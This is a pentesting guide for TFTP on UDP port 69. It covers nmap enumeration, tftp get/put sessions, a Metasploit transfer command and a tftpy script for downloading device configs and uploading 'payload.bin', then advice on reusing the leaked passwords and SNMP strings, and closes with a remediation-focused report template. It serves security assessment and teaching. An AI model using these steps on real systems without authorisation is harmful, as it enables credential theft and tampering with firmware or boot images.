Pentesting TFTP (port 69/UDP)
When to Use
- Default port
69/udp. TFTP is a minimal UDP file-transfer protocol (RFC 1350) with no authentication. - When
nmap -sU/banner showstftpon 69 (Shodan also labels this port; some scanners mislabel it as bittorrent-tracker). - Common on large internal networks distributing config files and ROM/firmware images to VoIP phones, routers, switches, and PXE boot infrastructure.
Quick Enumeration
# UDP service detection + path brute force (no directory listing exists)
nmap -n -Pn -sU -p69 -sV --script tftp-enum <IP>
# Manual client probe
tftp <IP>
tftp> get <known_filename> /tmp/out
tftp> put /tmp/test.txt test.txt # test write access
# Shodan-style discovery marker
# port:69
Critical: Checks Most Often Missed
- No authentication, ever — any reachable client can attempt read/write. The protocol has no logins.
- How to CONFIRM: a successful
get/putagainst the server with no credentials.
- How to CONFIRM: a successful
- No directory listing → must brute-force paths — scanners that don't fuzz miss everything. Use
tftp-enum's default-path list and device-specific names.- How to CONFIRM:
nmap --script tftp-enum <IP>returns found files (it brute-forces common paths).
- How to CONFIRM:
- Device config / firmware exposure — target known names:
running-config,startup-config,<MAC>.cfg,SEP<MAC>.cnf.xml(Cisco VoIP),bootrom.ld,pxelinux.cfg/default,*.binROM images. These leak credentials, SNMP strings, and topology.- How to CONFIRM:
tftp <IP>; get running-config /tmp/rcsucceeds and contains secrets.
- How to CONFIRM:
- Arbitrary write/upload — writable TFTP roots allow overwriting configs/firmware or staging payloads for PXE/device boot.
- How to CONFIRM:
tftp> put payload.binsucceeds, then re-getto verify it landed.
- How to CONFIRM:
Workflow
Step 1: Enumerate (service + default paths)
nmap -n -Pn -sU -p69 -sV --script tftp-enum <IP>
# Augment with a custom filename list (device-specific names)
nmap -sU -p69 --script tftp-enum --script-args tftp-enum.filelist=tftplist.txt <IP>
Step 2: Access (read/write — no auth step)
# Read a known/guessed file
tftp <IP>
tftp> mode octet # binary mode for ROM/firmware images
tftp> get running-config /tmp/running-config
tftp> get SEP001122334455.cnf.xml /tmp/phone.xml
# Test write access
tftp> put /tmp/test.txt test.txt
Step 3: Exploit / Extract (download configs, upload payloads)
# Metasploit transfer utility (download or upload)
msfconsole -q -x 'use auxiliary/admin/tftp/tftp_transfer_util; set RHOSTS <IP>; set RPORT 69; set FILENAME running-config; set ACTION Download; run; exit'
# Python (tftpy) for scripted download/upload
python3 - <<'PY'
import tftpy
c = tftpy.TftpClient("<IP>", 69)
c.download("running-config", "/tmp/running-config", timeout=5)
c.upload("payload.bin", "/local/path/payload.bin", timeout=5)
PY
Step 4: Post-access / pivot
- Parse downloaded configs for cleartext/Type-7 passwords, SNMP community strings, and management IPs; reuse on SSH/Telnet/SNMP.
- For PXE environments, inspect
pxelinux.cfg/defaultand boot images for credentials or to assess boot-tampering risk. - If write is allowed, document the ability to overwrite device firmware/config (high impact) rather than modifying production devices.
Key Concepts
| Concept | Description |
|---|---|
| UDP/69, RFC 1350 | Lightweight lockstep file transfer over UDP; RRQ/WRQ/DATA/ACK/ERROR opcodes. |
| No authentication | Anyone with network reach can read/write within the TFTP root. |
| No directory listing | File names must be known or brute-forced (tftp-enum). |
| transfer mode | netascii vs octet (binary) — use octet for firmware/ROM images. |
| Device provisioning | VoIP phones, routers, and PXE clients fetch configs/images via TFTP. |
| Writable root | Allows config/firmware overwrite and payload staging. |
Tools & Systems
| Tool | Purpose |
|---|---|
| nmap NSE | tftp-enum brute-forces default/known file paths over UDP. |
| tftp (client) | Manual get/put, mode selection. |
| Metasploit | auxiliary/admin/tftp/tftp_transfer_util for scripted download/upload. |
| tftpy (Python) | Programmatic download/upload and access testing. |
| atftp / tftp-hpa | Alternative CLI clients with verbose/scriptable transfers. |
Common Scenarios
Scenario 1: Cisco VoIP config disclosure
nmap --script tftp-enum and guessing SEP<MAC>.cnf.xml retrieves a phone config containing the provisioning server and credentials, reused to access the call manager.
Scenario 2: Router running-config leak
tftp <IP>; get running-config downloads a device config with Type-7 passwords and SNMP community strings, decoded and reused against the device's SSH/SNMP interfaces.
Scenario 3: Writable TFTP root
tftp> put payload.bin succeeds, demonstrating that an attacker could overwrite firmware/config images served to provisioned devices — flagged as high impact.
Output Format
## TFTP Finding
**Service**: TFTP
**Port**: 69/udp
**Severity**: High
**Finding**: Unauthenticated read (and write) access exposing device configuration
**Evidence**:
- nmap tftp-enum found "running-config", "startup-config"
- tftp get running-config -> contained enable secret + SNMP community "private"
- tftp put test.txt succeeded (writable root)
**Impact**: Unauthenticated attackers can read device credentials/topology and overwrite served configs/firmware.
**Recommendation**:
1. Restrict TFTP to provisioning VLANs with ACLs; block UDP/69 from untrusted networks.
2. Make the TFTP root read-only and serve only non-sensitive files.
3. Use secure provisioning (HTTPS/SCP) and encrypt/rotate any credentials exposed in configs.